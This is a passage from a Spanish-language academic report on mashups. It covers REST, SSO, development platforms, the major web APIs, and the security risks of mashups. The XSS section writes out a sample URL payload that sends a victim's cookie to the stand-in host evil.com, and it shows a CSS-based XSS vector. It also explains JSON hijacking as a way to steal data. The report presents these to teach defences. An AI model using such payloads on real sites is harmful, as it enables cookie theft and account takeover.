TABLA 1. CORRESPONDENCIA ENTRE CRUD Y HTTP

La idea general de REST es descansar sobre las funcionalidades de HTTP. Por ejemplo: la seguridad se implementa mediante HTTPS, la autenticación sobre HTTP-Auth, certificados digitales, sesiones, gestión de errores, etc. Una URL es un objeto para REST, al cual se puede realizar las operaciones HTTP estándares (PUT, GET, POST, DELETE).

REST no ha establecido los formatos a utilizar, se usa un grupo de ellos, por ejemplo, en la respuesta se puede obtener en los formatos XML, JSON, HTML, etc. REST tampoco habla de definición del servicio.

Ventajas de REST: Es ligero de programar, la respuesta es legible, no hay herramientas de desarrollo específicas, se utilizan herramientas de desarrollo habituales.

3.2.2.2. SEGURIDAD: SSO.

SSO (Single Sign-On) permite al usuario acceder a diferentes aplicaciones utilizando la misma instancia de identificación22. En el entorno web se habla de Web-SSO o Web Access Management (Web-AM), que funciona a través de servidores proxy o por algún componente instalado en el cliente.

3.2.2.3. LENGUAJES DE SCRIPTS.

Los lenguajes Ruby, Python, PHP, Groovy utilizados en la implementación de mashups son lenguajes tipo scripts útiles en el desarrollo rápido de mashups.

En PHP por ejemplo, se puede implementar servicios web tipo RESTful (ejecutado sobre SOAP 2.0). También los paquetes PEAR de dicho lenguaje permiten el desarrollo rápido de mashups.

Un ejemplo de implementación de un mashup en Python se puede observar en http://www.goldb.org/geo_maps/ . Este mashup utiliza el servicio web Yahoo Maps, para localizar diferentes ubicaciones en un mapa. La fuente de información es Yahoo Maps y datos locales. Podría adaptarse a ubicaciones en tiempo real por medio de la IP del usuario.

3.2.2.4. LENGUAJES DE APLICACIONES WEB.

Los lenguajes ASP.NET y Java tienen amplio uso, más respaldo y madurez que otros lenguajes. Son bien conocidos en el desarrollo de mashups. La ventaja de estos lenguajes radica en que existen frameworks y herramientas de desarrollo que permiten el desarrollo rápido de mashups.

En la URL http://dotnetslackers.com/columns/ajax/MashitUpwithASPNETAJAX.aspx se puede encontrar un tutorial para realizar un mashup que utiliza las API de Virtual Earth y de Yahoo! Geocode.

Un último ejemplo, en lenguaje Java se puede encontrar en la URL http://www.javaworld.com/javaworld/jw-01-2006/jw-0116-google.html?page=1.

22 Basado en http://es.wikipedia.org/wiki/Single_Sign-On

Page 19: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 18

3.2.2.5. FRAMEWORKS ÁGILES.

Los frameworks ágiles como RubyOnRails, Jruby y Grails también son utilizados para el desarrollo rápido de mashups. En la URL:

http://earthcode.com/blog/2006/04/rails_geocoding_and_google_map.html

Se puede acceder a un tutorial sobre el desarrollo en RubyOnRails de un mashup utilizando Google Maps.

3.2.3. Plataformas de desarrollo de mashups.

Las plataformas de desarrollo están siendo ofrecidas por diversas compañías en internet para consumir sus servicios fácilmente y donde cualquier persona sin estar calificada para programar puede crear sus propios mashups. A continuación se presentan algunos de estos.

3.2.3.1. YAHOO! PIPES.

Yahoo Pipes tiene como característica la conexión de tuberías entre los diferentes módulos. Los autores realizaron el siguiente mashup en menos de un minuto (sin inducción previa). La URL se encuentra en:

http://pipes.yahoo.com/pipes/pipe.info?_id=1b00fd99c18bdccb2df102ff4dc4ab17

FIGURA 14. DISEÑO DE UN MASHUP EN YAHOO PIPES

Page 20: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 19

3.2.3.2 OTRAS PLATAFORMAS

A continuación se resumen otras plataformas utilizadas para la realización de mashups.

OpenKapow se basa en la utilización de servicios o “robots” que permiten acceder a datos de webs e incluso utilizar sus interfaces de usuario.

URL: http://openkapow.com/

IBM Mashup Center posibilita la creación de mashpus punto a punto (end-to-end), creando feeds de varias fuentes, con rápido ensamblado (arrastrar y soltar), y con generación de widgets dinámicos.

URL: http://www-01.ibm.com/software/info/mashup-center/

WaveMaker Studio Visual Ajax Studio permite escalado y ensamblaje de aplicaciones web utilizando widgets Ajax, servicios web y bases de datos. Sus características principales son la visión previa de datos, su ejecución en navegadores estándar, inclusión de widgets de diagramas, etc.

URL: http://www.wavemaker.com/

TABLA 2. ALGUNAS PLATAFORMAS UTILIZADAS PARA EL DESARROLLO DE MASHUPS

3.2.3.2. GOOGLE APPLICATION ENGINE.

Es una solución que la compañía Google ha proporcionado gratuitamente a los desarrolladores de mashups. La URL es http://code.google.com/intl/es-CO/appengine/.

3.2.4. Constructores de mashups.

Otra categoría de herramientas de desarrollo de mashups son los constructores. Estas herramientas deben instalarse en el equipo del desarrollador (con o sin experiencia) para generar los mashups. Estos son algunos de los constructores en el mercado que funcionan hoy día: (JackBe Presto, Nexaweb Studio, Oracle Webcenter e Intel Mash Maker.

A continuación se muestra la interfaz principal de Intel Mash Maker23:

FIGURA 15. INTERFAZ DE USUARIO PRINCIPAL DE INTEL MASH MAKER.

23 Imagen tomada de: http://mashmaker.intel.com/web/techinfo/gs_interface.html

Page 21: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 20

3.3. APIs utilizadas. APIs (Application Programming Interface), Interfaz de programación de aplicaciones, es un conjunto de funciones que sirven como plataforma sobre la cual otros programas pueden ser construidos.

En forma general la figura muestra la estructura de los Mashups

FIGURA 16. ESTRUCTURA TECNOLÓGICA DE LOS MASHUPS

Eric Griffin, Foundations of Popfly: Rapid Mashup Development, 2008

Se observa una capa de presentación y una capa interactividad formada por protocolos de servicios web y el formato de los datos.

En vista que un API está basado en Web Services, es importante que recordemos que servicio web es “un conjunto de protocolos y estándares que sirven para intercambiar datos entre aplicaciones. Distintas aplicaciones de software desarrolladas en lenguajes de programación diferentes, y ejecutadas sobre cualquier plataforma, pueden utilizar los servicios web para intercambiar datos en redes de ordenadores como Internet. La interoperabilidad se consigue mediante la adopción de estándares abiertos. Las organizaciones OASIS y W3C son los comités responsables de la arquitectura y reglamentación de los servicios Web. Para mejorar la interoperabilidad entre distintas implementaciones de servicios Web se ha creado el organismo WS-I, encargado de desarrollar diversos perfiles para definir de manera más exhaustiva estos estándares” (4).

Page 22: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 21

Las APIs más representativas en la construcción de Mashups son las siguientes:

FIGURA 17. ESTADÍSTICA DE APIS UTILIZADAS PARA CONSTRUCCIÓN DE MASHUPS

3.3.1. API Google Maps

Esta API permite la incorporación de Google Maps en aplicaciones web utilizando una interfaz simple en JavaScript o una interfaz de Flash. La API incluye la localización de la lengua, la geocodificación, y dispone de mecanismos para que los desarrolladores utilicen la API de Google Maps a nivel de intranets.

FIGURA 18. IMAGEN APLICACIÓN DE GOOGLE MAP http://code.google.com/intl/es-CO/apis/maps/index.html

El API de Google Maps admite ahora los mapplets (mapas + gadgets), que permiten insertar en Google Maps aplicaciones alojadas en ubicaciones externas. Estos mapplets se ejecutan en sus propios iFrames, lo que permite, por ejemplo, crear "mashups de mashups" y combinar código de un sitio con el de otro. Esto abre un panorama completamente nuevo para la programación en Google Maps. Crear mapplets es sencillo, aunque hay algunas cosas que no se hacen del mismo modo que con el API estándar de Google Maps.

Los mapplets son miniaplicaciones que se ejecutan en Google Maps. Puedes crear mapplets que añadan nuevas funciones o complementen tus datos en Google Maps. Los mapplets son similares al API de Google Maps. La principal diferencia estriba en que los mapplets se ejecutan en Google

Page 23: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 22

Maps, mientras que el API de Google Maps tradicional se utiliza para crear mapas en otros sitios web.

3.3.1.1. Propósito de los Mapplets • Los mapplets presentan tu marca a millones de usuarios de Google Maps y te permiten

conservan el control sobre el contenido. • Puedes crear un enlace a tu sitio web y amortizar tu mapplet como te convenga. • Google proporciona alojamiento gratis, ancho de banda gratis y un directorio oficial en el

que usuarios de todo el mundo podrán localizar tu mapplet. • Los mapplets son tan fáciles de escribir que podrás crear el primero en solo 5 minutos. • No tienes que suscribirte ni descargar nada.

El API de Google Maps está integrada en las API AJAX de Google. Esta estructura permite cargar una clave de API para todas las API AJAX de Google admitidas (incluida la de Google Maps) y ofrece también un espacio de nombre común para cada API, lo que permite un funcionamiento conjunto de distintas API de Google.

El API de Google Maps utiliza la configuración de idioma preferido del navegador para mostrar información textual como, por ejemplo, nombres de controles, avisos de copyright e instrucciones de circulación.

El API de Google Maps, recibe indicaciones de sensores (por ejemplo, un localizador GPS) para determinar la ubicación del usuario. Esto resulta de especial importancia para los dispositivos móviles.

3.3.2. API Flickr

Flickr es un servicio de almacenamiento de fotografías que se ha hecho muy popular por la facilidad con la que se pueden organizar, subir, compartir las fotografías y también manejar vídeos; la liberación de su API permite a los desarrolladores realizar de forma muy sencilla y limpia sus propios conceptos.

La API de Flickr puede ser utilizada para recuperar las fotos desde el servicio de compartición de fotos Flickr, utilizando una variedad de fuentes - fotos públicas y vídeos, favoritos, amigos, grupos de grupo, debates, y mucho más. El API también puede ser utilizado para subir fotos y video. La API Flickr es compatible con muchos protocolos como REST, SOAP, XML-RPC.

3.3.2.1 Detalles Generales de la Api

La API de Flickr se encuentra disponible a los desarrolladores que la utilicen de forma “no comercial” y en caso de que se desee realizar algo comercial es necesario que se realice un acuerdo previo para que sea posible.

Según se explica en la descripción general oficial de la API de Flickr para realizar una acción usando la API debes seleccionar una llamada, enviar una solicitud, especificar un método y algunos argumentos para recibir una respuesta con formato.

Además, el parámetro obligatorio method se usa para especificar el método de llamada; el format para especificar un formato de respuesta y api_key se usa para especificar la clave API.

3.3.3. API Youtube

Page 24: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 23

Youtube pertenece ahora a Google Data API, permite búsqueda de vídeos, obtener información del usuario, y lista de reproducción. Actualmente con mayor flexibilidad en el filtrado, la consulta, y los productos alternativos. Entre sus novedades incluyen respuestas de los canales de vídeo, lista de comentarios completa, y los vídeos relacionados.

FIGURA 19. IMAGEN APLICACIÓN DE YOUTUBE

http://code.google.com/intl/es-CO/apis/youtube/overview.html

3.3.3.1. Funcionalidades

El API de datos permite incorporar las funciones de YouTube a tu propio sitio web o aplicación. Entre otras muchas cosas, podes realizarse búsquedas, subir vídeos o crear listas de reproducción.

El reproductor personalizado te permite realizar más funciones además de pegar un vídeo en tu sitio. Cualquiera podrá configurar fácilmente el reproductor personalizado para ver listas de reproducción, vídeos favoritos o sus propios vídeos.

Las API del reproductor te permiten controlar la reproducción de los vídeos de YouTube en tu sitio web. Configura opciones básicas, controla la interfaz del reproductor e incluso crea tus propios controles del reproductor.

Los widgets son simples elementos de página que puedes insertar en tu sitio web para incorporar funciones de YouTube. Añade una tira de vídeos o permite a tus usuarios realizar búsquedas de vídeos con solo añadir un poco de código JavaScript a tu página.

3.3.4. API Amazon

Lo que antes era el ECS - Servicio de comercio electrónico - ha pasado a denominarse Associates Amazon Web Service. A través de su API desarrolladores puede recuperar la información de producto. La API expone los datos de los productos de Amazon y e-commerce. Esto permite a los desarrolladores, editores de sitios web y otros aprovechar los datos que Amazon utiliza para alimentar su propio negocio, y potencialmente ganar dinero como un afiliado de Amazon.

Los servicios Web de Amazon permiten a los sitios web tener acceso a un contenido rico y poderoso con la capacidad de usar las siguientes características:

Page 25: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 24

Amazon.com - Información detallada sobre el producto

La API de Amazon proporciona detalles completos de cada producto y su información de precios basados en el catálogo de Amazon. Esto hace que sea fácil para los sitios web mostrar un producto en línea con su descripción completa y sus características.

Amazon.com - Imágenes

La biblioteca de imágenes de los productos de Amazon es definitivamente única en su clase. Hay millones de nuevas imágenes que son de alta Calidad. Usando la API de Amazon, se puede hacer uso de estas imágenes y publicarlas en su propio sitio Web como referencia de cualquier producto que esté disponible en Amazon. Incluso las nuevas imágenes estarán disponibles para su uso de forma inmediata.

Comentarios de los Visitantes

La API de Amazon le permite incluso obtener todos los comentarios que los visitantes del sitio han realizado a un producto especifico, o todos los comentarios escritos por un visitante en particular. Estos comentarios están disponibles en formato estándar HTML, lo que facilita sus publicaciones en su propio sitio Web, sin interferir con el estilo propio de su Sitio.

Búsquedas Extendidas

Los Sitios Afiliados a Amazon pueden crear aplicaciones con opciones de búsqueda complejas. La misma funcionalidad de la opción de Advanced Search o búsqueda avanzada que se encuentra en el sitio Web deAmazon, Amazon.com, ahora se encuentra disponible a través de la API de Servicios Web de Amazon, lo que permite la búsqueda por diversos atributos, incluyendo marcas, precios y categorías.

Carrito de Compra Remoto

Adicionar la funcionalidad del Carrito de Compra de Amazon.com a su sitio Web o aplicación, le permite tener la característica de Guardar par mas Tarde o “Save for Later”, la cual le permitirá a los visitantes del sitio hacer todas sus compras en Amazon sin necesidad de salirse de su sitio Web, y al momento de salirse puede transferir sin problemas sus compras al Sitio de Amazon directamente.

3.3.5. API Twitter

El servicio de Micro-blogging de Twitter incluye la API Web RestFul, la cual permite el acceso a la base de datos de Twitter y a sus diferentes actividades, entre las que encontramos usuarios, tweets, amigos, seguidores, favoritos y más, utilizando los formatos XML y JSON.

Hay muchos servicios y aplicaciones que trabajan con Twitter. Muchos están diseñados para permitir el acceso fácilmente a Twitter desde dispositivos específicos, tales como iPhone o BlackBerry, mientras que otros están diseñados para hacer fácil a los usuarios acceder y actualizar su cuenta Twitter.

3.3.6. API Ebay

Normalmente, los usuarios compran y venden artículos con la interfaz en línea de eBay, interactuando directamente con esta. Pero con la API pueden comunicarse directamente con su base de datos en formato XML. Mediante su uso, una aplicación puede proporcionar una interfaz personalizada, con funcionalidad y operaciones especializadas que no ofrece la interfaz de eBay.

3.3.6.1. Uso de la Api

• Presentar publicación de artículos en eBay

Page 26: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 25

• Obtener la lista actual de categorías de eBay • Ver información acerca de los elementos en venta en eBay • Obtener información de los artículos más solicitados que se venden • Recuperar las listas de artículos de un usuario en particular que se venden actualmente • Recuperar la lista de artículos que un determinado usuario ha solicitado • Mostrar anuncios de eBay en otros sitios • Comentarios y sugerencias acerca de otros usuarios a la conclusión de una transacción de

comercio electrónico

Debido a que la API no es dependiente de la interfaz de usuario de eBay, permite crear estabilidad, funcionalidad e interfaces personalizadas para mejor satisfacción de las necesidades del negocio. Por ejemplo, usted puede:

• Automatizar el proceso de inclusión y seguimiento de subastas. • Extraer información de usuario de eBay, automatizando el proceso de gestión de la subasta

y entregarlo a los compradores y vendedores.

Ebay ofrece un programa de Desarrolladores, el cual dispone de un sitio Web protegido por contraseña, denominado Zona de Desarrolladores, esta zona es la fuente primaria para obtener especificaciones y documentación técnica de la API de EBAY. Los archivos de Documentación Técnica para los desarrolladores están definidos como archivos XML que pueden ser usados por la API, además ofrece herramientas para la creación y certificación de las aplicaciones y una suite completa de recursos técnicos adicionales.

3.3.7. API Virtual Earth Interactive

El Microsoft Virtual Earth Interactive SDK API y dispone de un control AJAX de mapas. Se utiliza para construir mapas que pueden incluir rutas e información de tráfico. Ofrece a los desarrolladores la capacidad de codificar los controles, formas, y las capas de los mapas, y puede llamar la función ojo de pájaro, 3D, y las imágenes aéreas. Para aplicaciones comerciales hay un servicio Web basado en SOAP, que también proporciona acceso a las características geoespaciales de los mapas de Virtual Earth.

El API está basada en la Plataforma Bing Map

La Plataforma Bing Map permite traer datos de localización de la vida por lo que es más fácil de visualizar, entender y analizar. Es una colección de un robusto conjunto de APIs para construir aplicaciones innovadoras que permiten una mejor visualización de datos, que atraen a los usuarios finales y mejoran el conocimiento del negocio. Bing Map permite a las organizaciones:

• Conectar los clientes: Generar aplicaciones de localización para atraer clientes de la Web para sus negocios, y aumentar la comunidad alrededor de su marca.

• Reunir conocimiento profundo: Visualizar la ubicación de datos basados en los datos del censo demográfico o, construcción de viviendas, y más para lograr penetración visual en su negocio.

• Gestión de los activos: se puede usar para ayudar a manejar y rastrear la ubicación de los activos móviles en el campo y para mejorar la gestión de inventarios, entregas, las flotas, y otros operadores móviles en tiempo casi real.

Page 27: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 26

3.3.8. API del.icio.us

Delicious es un servicio de marcadores sociales que permiten a los usuarios etiquetar, guardar, administrar y compartir páginas web desde una fuente centralizada. , Con énfasis en el poder de la comunidad, Delicious mejora en gran medida el cómo la gente descubre, recuerda y comparte en Internet. Cosas que puedes hacer con Delicious Marcar cualquier sitio en la Internet, y llegar a él desde cualquier lugar En vez de tener marcadores diferentes en cada equipo, Delicious hace que sea fácil tener un solo conjunto de marcadores y mantenerse en sintonía entre todos los equipos. Incluso si usted no está en su computadora, usted todavía puede tener acceso a sus marcadores favoritos a través de la página web Delicious. Comparte tus marcadores, y recibe a cambio marcadores Si sus amigos usan Delicious, La API permite enviarle marcadores interesantes, los cuales podrán comprobar la próxima vez que inicien Sesión. Por supuesto, Usted también puede hacer lo mismo. Al explorar el sitio y encontrar usuarios de interés, el API permite utilizar sus suscripciones y características de red con el fin de realizar un seguimiento de las etiquetas y Usuarios de Delicious en busca de información más interesante. Descubre los marcadores más útiles e interesantes en la web Vea lo que está de moda entre los usuarios de Delicious solamente visitando las etiquetas populares. Al buscar por marcaciones populares hechas a una etiqueta, te permitirá descubrir los marcadores más interesantes y las marcaciones realizadas sobre temas en los cuales usted podría tener algún interés, desde los mejores consejos para programación hasta los mejores sitios de viajes, todo ello en un formato fácil de leer.

3.3.9. Api Ajax de Google

El API AJAX de Google para búsquedas, es una biblioteca JavaScript que permite insertar Google Search en páginas web y otras aplicaciones web. Para entornos Flash y otros entornos que no utilizan JavaScript, el API muestra una interfaz REST que devuelve resultados con codificación JSON que son fácilmente procesados por la mayoría de los lenguajes y tiempos de ejecución.

El API AJAX de Google para búsquedas proporciona objetos web simples que realizan búsquedas integradas en varios servicios de Google (búsqueda en la Web, búsqueda local, búsqueda de vídeos, búsqueda de blogs, búsqueda de noticias, búsqueda de libros (experimental), búsqueda de imágenes y búsqueda de patentes). Si una página web está diseñada para ayudar a los usuarios a crear contenido (por ejemplo, tablones de mensajes, blogs, etc.), el API está diseñado para realizar estas actividades, ya que permite copiar los resultados de búsqueda directamente en sus mensajes.

El API es nueva y sus funciones vienen determinadas principalmente por la implicación activa de sus clientes. Todos podemos ser parte del equipo que ayuda a perfeccionar el API y sus funciones, se puede hacer participando en el grupo de debate del API AJAX de Google para búsquedas, donde se puede aportar comentarios en los foros.

El API AJAX de Google para búsquedas es la forma más fácil de incorporar un cuadro de búsqueda de Google en tu sitio. Para incorporar los resultados de búsquedas en la Web, búsqueda de noticias y búsquedas de blogs en tu blog o tu sitio web sólo necesitas unas simples líneas de JavaScript.

Novedades de NewsShow

Page 28: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 27

Inserta una presentación de diapositivas de noticias en tu página, lo que permite a tus usuarios ver los titulares y vistas previas de los resultados de búsqueda de Google Noticias, en función de las consultas seleccionadas.

Cuadro de búsqueda simple

Integra la búsqueda en la Web, la búsqueda de noticias y la búsqueda de blogs en tu sitio web, y cambia el formato de los resultados según el estilo de tu sitio. También puedes mostrar los resultados desde tu motor de búsqueda personalizado de Google.

Búsqueda restringida de blogs

Incorpora a tu blog un cuadro de búsqueda que busque únicamente en tu blog. Una forma increíble de añadir a tu blog una función de búsqueda realizada por Google.

Motores de búsqueda personalizados

Crea un cuadro de búsqueda vinculado a tu motor de búsqueda personalizado de Google

Barra de blogs

Incluye una barra de Google Blog en tus páginas web. Tan sólo introduce las búsquedas que quieras hacer en la barra de blogs, y el API AJAX de Google para búsquedas hará el resto. Ofrecemos dos formatos diferentes: una barra horizontal fina y una barra vertical más ancha, lo que te permitirá incorporar contenido dinámico de blogs en el diseño de tu sitio.

Formulario de comentario para blogs

Esta aplicación de ejemplo muestra cómo puedes incorporar el API AJAX de Google para búsquedas en una composición de usuario. En este caso, los usuarios pueden incluir los resultados de búsqueda de Google en sus comentarios en una entrada del blog.

Barra de noticias

Incluye una barra de Google Noticias en tus páginas web. Tan sólo introduce las búsquedas que quieras hacer en la barra de noticias, y el API AJAX de Google para búsquedas hará el resto. Ofrecemos dos formatos diferentes: una barra horizontal fina y una barra vertical más ancha, lo que te permitirá incorporar contenido dinámico de noticias en el diseño de tu sitio.

3.3.10. API Yahoo Maps

Yahoo! Mapas API le permiten integrar fácilmente de forma interactiva los mapas en su web y aplicaciones de escritorio con su opción de la plataforma: ofrecemos Flash, Ajax y Mapa de Imagen API.

Yahoo! También provee un API que se puede utilizar para agregar contenido geográfico relevante para los mapas, incluidos los Yahoo! Directorios locales, Tráfico y Tiempo informes, Próximos eventos y Flickr Fotos. Nuestro apoyo a la API Estándar GeoRSS podrá ampliar la funcionalidad API de Google Maps para consumir cualquier otro API.

A través de la API de Yahoo Mapas, los sitios web o aplicaciones cobran vida con mapas contextuales, la localización de contenido relevante, y la interacción del usuario dinámico para Integrar un localizador de tiendas con unas pocas líneas de código, ver patrones de tráfico en la carretera, o crear rutas personalizadas - todo lo que puedas imaginar, el servicios web de Yahoo! Mapas hace que sea fácil construir aplicación. Yahoo! Mapas ha incorporado Geocoder que le permite especificar una dirección o la latitud y longitud (coordenadas), sin necesidad de llamar a un servicio adicional o escribir un código especial.

La tabla a continuación resume las APIs con sus funciones, tecnologías y sitio web

Page 29: Aspectos Avanzados De Los Mashups

API Resumen Categoría Etiquetas Protocolos Formato Datos

Sitio del API

Servicio de mapas

Mapas mapas JavaScript XML, VML, JSON, KML

http://code.google.com/apis/maps/index.html

Servicio para compartir fotos

Fotos Foto, video REST, SOAP, XML-RPC

XML, JSON, PHP

http://code.flickr.com

Servicio para buscar y compartir videos

Video Media, video GData, Atom Publishing Protocol (Atom/RSS)

Atom, RSS http://code.google.com/apis/youtube/overview. ...

Servicio de comercio en línea

Compras Compras REST, SOAP XML https://affiliate-program.amazon.com/gp/adver ...

Servicio de microblogging

Social Social, Mensajes blog

REST XML, JSON, RSS, Atom

http://apiwiki.twitter.com/

Servicio de mercado de subastas en linea

Compras Subastas, compras

SOAP, REST XML http://developer.ebay.com/

Servicio de mapas

Mapas Mapas JavaScript KML, GeoRSS

http://www.microsoft.com/maps/developers/

del.icio.us

Servicio social de marcado

marcado marcado REST XML http://delicious.com/help/api

Servicio de búsqueda

Búsqueda Búsqueda SOAP XML http://code.google.com/

Servicio de mapas

Mapas Mapas Ajax Flash

REST, JavaScript, Flash

XML http://developer.yahoo.com/maps/

TABLA 3. PRINCIPALES APIS UTILIZADAS PARA EL DESARROLLO DE MASHUPS

Page 30: Aspectos Avanzados De Los Mashups

4. RIESGOS TECNOLÓGICOS.

La explosión de mashups en la web ha venido a contribuir al rápido crecimiento de las aplicaciones web que convierten a la web no sólo en un gran proveedor de información, sino también de servicios. La combinación de servicios ofrecidos por las diferentes APIs utilizadas en el desarrollo de mashups y la utilización de navegadores web constituyen, desde el punto de vista de la seguridad, un foco de riesgos para la seguridad, en cuanto a vulnerabilidades de diferente tipo y condición.

El requerimiento por parte de los usuarios de mashups, de intercambio de información de un usuario a través de un navegador web, y haciendo uso un conjunto de APIs de proveedores que, por lo general, ofrecen servicios “en abierto” o de uso público, abre la posibilidad de ataques contra la seguridad de estas plataformas. ¿Qué ocurriría si hay una intrusión en el sistema por parte de un usuario obviamente malicioso o el navegador utilizado está “contaminado” con malware?

Si a ello le añadimos la posibilidad de anidamiento de mashups, es decir, un mashup pueda servir de base o proveedor para nuevos mashups, los riesgos de seguridad se incrementan.

Los probables ataques afectan a todos los procedimientos y requerimientos utilizados en el mashup, de manera que precisan de medidas de seguridad que “hilen fino” y vigilen al detalle todos y cada uno de los inputs que llegan al sistema. Con lo cual, será necesario que las políticas de seguridad en ambos extremos (cliente y servidor) se entiendan y compaginen, colaborando entre ellas y estableciendo cadenas de confianza y canales de comunicación seguros a todos los niveles de una comunicación web, al tiempo que complementan otras medidas de seguridad clásicas como la implementación de DMZs (Zonas desmilitarizadas), firewalls, etc.

En un escenario mashup habitual, los usuarios acceden a la información a través de una colección de gadgets ad hoc que a su vez hacen uso de APIs que obtienen diferentes funcionalidades del proveedor o proveedores de información. Así pues, nos encontramos con una serie de capas de intermediación entre el usuario del mashup y los proveedores de información. Como consecuencia, y debido a la incorporación de componentes de terceros, si un sitio malicioso consigue tentar mashups de usuario para embeber su componente mashup, todo el mashup del usuario será vulnerable.

Un mashup infectado con componentes maliciosos podría, a su vez, incorporar nuevo código malicioso en la aplicación, para llevar a cabo ataques de tipo, por ejemplo, XSS, CSRF, y DoS (Denegación de Servicio), e incluso traspasar datos privados (cookies) a dominios externos.

Entre las características de los mashups, podríamos citar como aquellas que les hacen vulnerables las siguientes:

o El aumento de los puntos de entrada de usuario. o El acceso y la utilización de recursos ajenos (APIs). o Errores en la protección de información relativa a autentificación y control de sesiones. o Poca claridad en separación de código de lado cliente con código de lado servidor.

Entre las vulnerabilidades más significativas a las que están expuestos los mashup son, entre otras, las vulnerabilidades vinculadas a las tecnologías que componen AJAX (XHTML, CSS, DOM, XML, XSLT, JSON, XMLHttpRequest, JavaScript), como consecuencia de la generación por parte de los programadores de códigos erróneos o con “agujeros”.

A continuación se describen los ataques más característicos en el entorno de los mashups y las medidas que se pueden adoptar para evitarlos.

4.1. Ataques Cross-Site-Scripting (XSS).

Los ataques XSS son un tipo de ataque web que tienen lugar en el lado del cliente, y que se basan en la incrustación en documentos web de variables que no son validadas correctamente, de modo

Page 31: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 30

que son utilizadas para ejecutar scripts o para modificar el contenido del documento web. Suele ser un ataque muy común, y mediante la inyección de trozos de código malicioso consiguen modificar el comportamiento previsto en una página “sana”. Se distinguen dos tipos: el ataque XSS reflejado y el Ataque XSS almacenado.

4.1.1. XSS Reflejado (o Indirecto).

Consiste en la inclusión del código malicioso en una página web mediante la utilización de los parámetros que se le pasan su URL que no filtre los caracteres especiales como pueden ser los utilizados en las etiquetas de HTML. Veamos un ejemplo:

http://trusted.com/search?keyword=<script> document.images[0].src="http://evil.com/steal?cookie=" + document.cookie; </script>

En este ejemplo, si la aplicación que realiza búsquedas no filtra la aparición de caracteres especiales utilizados para tags en su código fuente (“<” y “>”), podría ser suplantado por otro código como el expuesto anteriormente, dónde se incrustará en el código fuente de la página trusted.com el código que figura entre las etiquetas de script, tras el parámetro keyword, y que como resultado enviará al atacante una cookie de la víctima al servidor evil.com, de manera que podrá ser utilizada para suplantar la identidad de aquella.

4.1.2. XSS Persistente (o Directo).

Este ataque se ha visto favorecido por la interacción, la compartición y la colaboración entre usuarios (incluidos los malignos) característica de la web 2.0., y consiste el localizar puntos débiles en la programación de filtros HTML, de manera que utilizan etiquetas poco habituales como <iframe> o <script> para la ejecución de código como pueden ser:

o Etiquetas que admitan atributos src, href o Eventos como “onError” o Estilos en los cuales se referencian imágenes o Etiquetas br, fk, div, meta, style, …

Por ejemplo:

<DIV STYLE="background-image: url(JavaScript:alert('XSS'))">

Como medida de prevención para los ataques XSS, es necesario acometer la validación de las variables recibidas antes de usarlas, con especial hincapié en el filtrado de caracteres especiales.

4.2. Ataques Cross-Site-Request-Forgery (CSRF ó XSRF).

Los ataques CSRF tienen lugar cuando se explota la confianza que un sitio Web tiene en el usuario. Se trata de ataques de aparición reciente, y que se aprovechan de la capacidad que tienen los navegadores en sus versiones más recientes, mediante la cual memorizan URLs con información sobre estados de visitas previas, de manera que enlazan automáticamente las URL ya visitadas con los token correspondientes.

Page 32: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 31

El siguiente gráfico muestra la secuencia de peticiones y respuestas durante un ataque CSRF:

FIGURA 21. SECUENCIA DE PETICIONES Y RESPUESTAS DURANTE UN ATAQUE CSRF.(FUENTE:

MASHUP SECURITY, WWW.IBM.COM)

Una técnica utilizada para la prevención de ataques CSRF consiste en que los servidores del mashup requieran en cada petición HTTP la inclusión de tokens específicos de peticiones POST y GET.

4.3. Ataques JSON. JSON (JavaScript Object Notation), es un formato ligero en modo texto utilizado para el intercambio de datos, que forma parte del paquete de tecnologías englobadas bajo AJAX. Debido a su formato, un fichero JSON puede incluir instrucciones Javascript embebidas junto de las definiciones de datos, con lo cual, un intérprete Javascript puede interpretar código JSON para, por ejemplo la creación de objetos. Sin embargo, esa capacidad de inclusión de código Javascript que es ejecutado en cuanto el contenido del fichero de datos JSON es interpretado (con la función eval()), puede acarrear problemas si el código Javascript es manipulado y contiene código maligno.

Veamos un ejemplo de ataque JSON:

“ … la víctima inicia sesión en un sitio Web de confianza, luego visita una página a través de una URL proporcionada por el atacante (en un email, por ejemplo), y dentro de dicha página (aparentemente inofensiva) el atacante utiliza JavaScript para: 1. Sobrecargar el constructor de la clase Array de JavaScript, e indicarle al navegador que, cada vez que se cree un objeto tipo Array, guarde sus datos en una variable externa. 2. Hacer una solicitud JSON al servidor de confianza del usuario directamente desde una etiqueta Script (usando CSRF). Esto hace que el navegador intente crear un Array con la información recuperada, y que utilice el constructor sobrecargado, robando así los datos. Es muy importante tener en cuenta que NO se utiliza AJAX al momento hacer la petición al recurso JSON, puesto que AJAX no permite hacer peticiones a otro dominio que no sea el mismo en el que se está ejecutando. 3. Una vez que ha almacenado los datos dentro de un objeto nativo de JavaScript, el atacante puede hacer con ellos lo que desee, sin que el usuario se entere.”

(Fuente: www.casidiablo.net ) Algunas de las medidas que se pueden adoptar para evitar la ejecución de código maligno en ficheros JSON consisten en “esconder” o enmascarar dicho código al intérprete de Javascript. Algunas opciones válidas son:

o preceder cada bloque de datos JSON con un bucle while sin fin o envolver los bloques de datos entre comentarios, tal y como muestra el siguiente ejemplo:

Page 33: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 32

[ {name: "object1", message: "Saludos del object1"}, {name: "object2", message: "Saludos del object2"}, {name: "object3", message: "Saludos del object3" code: alert("Esto se ejecutará cuando sea evaluado ")}, {name: "object4", message: "Saludos del object4"}, {name: "object5", message: "Saludos del object5"} ]

Ejemplo de bloque de datos JSON envuelto entre comentarios Javascript.

